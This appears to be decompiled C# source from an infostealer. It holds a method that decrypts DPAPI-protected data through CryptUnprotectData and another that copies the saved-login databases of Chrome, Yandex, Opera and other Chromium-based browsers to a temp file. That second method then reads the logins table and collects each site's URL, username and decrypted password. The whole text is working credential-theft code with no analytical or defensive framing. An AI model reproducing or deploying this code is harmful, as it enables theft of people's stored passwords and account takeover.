// Token: 0x060000F3 RID: 243 RVA: 0x00009890 File Offset: 0x00007A90 public static byte[] DecryptChromium(byte[] cipherTextBytes, byte[] entropyBytes = null) { Chromium.DataBlob dataBlob = default(Chromium.DataBlob); Chromium.DataBlob dataBlob2 = default(Chromium.DataBlob); Chromium.DataBlob dataBlob3 = default(Chromium.DataBlob); Chromium.CryptprotectPromptstruct cryptprotectPromptstruct = new Chromium.CryptprotectPromptstruct { cbSize = Marshal.SizeOf(typeof(Chromium.CryptprotectPromptstruct)), dwPromptFlags = 0, hwndApp = IntPtr.Zero, szPrompt = null }; string empty = string.Empty; try { try { if (cipherTextBytes == null) { cipherTextBytes = new byte[0]; } dataBlob2.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length); dataBlob2.cbData = cipherTextBytes.Length; Marshal.Copy(cipherTextBytes, 0, dataBlob2.pbData, cipherTextBytes.Length); } catch (Exception) { } try { if (entropyBytes == null) { entropyBytes = new byte[0]; } dataBlob3.pbData = Marshal.AllocHGlobal(entropyBytes.Length); dataBlob3.cbData = entropyBytes.Length; Marshal.Copy(entropyBytes, 0, dataBlob3.pbData, entropyBytes.Length); } catch (Exception) { } Chromium.CryptUnprotectData(ref dataBlob2, ref empty, ref dataBlob3, IntPtr.Zero, ref cryptprotectPromptstruct, 1, ref dataBlob); byte[] array = new byte[dataBlob.cbData]; Marshal.Copy(dataBlob.pbData, array, 0, dataBlob.cbData); return(array); } catch (Exception) { } finally { if (dataBlob.pbData != IntPtr.Zero) { Marshal.FreeHGlobal(dataBlob.pbData); } if (dataBlob2.pbData != IntPtr.Zero) { Marshal.FreeHGlobal(dataBlob2.pbData); } if (dataBlob3.pbData != IntPtr.Zero) { Marshal.FreeHGlobal(dataBlob3.pbData); } } return(new byte[0]); }
// Token: 0x060000F4 RID: 244 RVA: 0x00009A64 File Offset: 0x00007C64 private static List <PassData> Get(string basePath) { if (!File.Exists(basePath)) { return(null); } string program = ""; if (basePath.Contains("Chrome")) { program = "Google Chrome"; } if (basePath.Contains("Yandex")) { program = "Yandex Browser"; } if (basePath.Contains("Orbitum")) { program = "Orbitum Browser"; } if (basePath.Contains("Opera")) { program = "Opera Browser"; } if (basePath.Contains("Amigo")) { program = "Amigo Browser"; } if (basePath.Contains("Torch")) { program = "Torch Browser"; } if (basePath.Contains("Comodo")) { program = "Comodo Browser"; } List <PassData> result; try { string text = Path.GetTempPath() + "/" + Misc.GetRandomString() + ".fv"; if (File.Exists(text)) { File.Delete(text); } File.Copy(basePath, text, true); SqlHandler sqlHandler = new SqlHandler(text); List <PassData> list = new List <PassData>(); sqlHandler.ReadTable("logins"); for (int i = 0; i < sqlHandler.GetRowCount(); i++) { try { string text2 = string.Empty; try { byte[] bytes = Chromium.DecryptChromium(Encoding.Default.GetBytes(sqlHandler.GetValue(i, 5)), null); text2 = Encoding.UTF8.GetString(bytes); } catch (Exception) { } if (text2 != "") { list.Add(new PassData { Url = sqlHandler.GetValue(i, 1).Replace("https://", "").Replace("http://", ""), Login = sqlHandler.GetValue(i, 3), Password = text2, Program = program }); } } catch (Exception arg_19F_0) { Console.WriteLine(arg_19F_0.ToString()); } } File.Delete(text); result = list; } catch { result = null; } return(result); }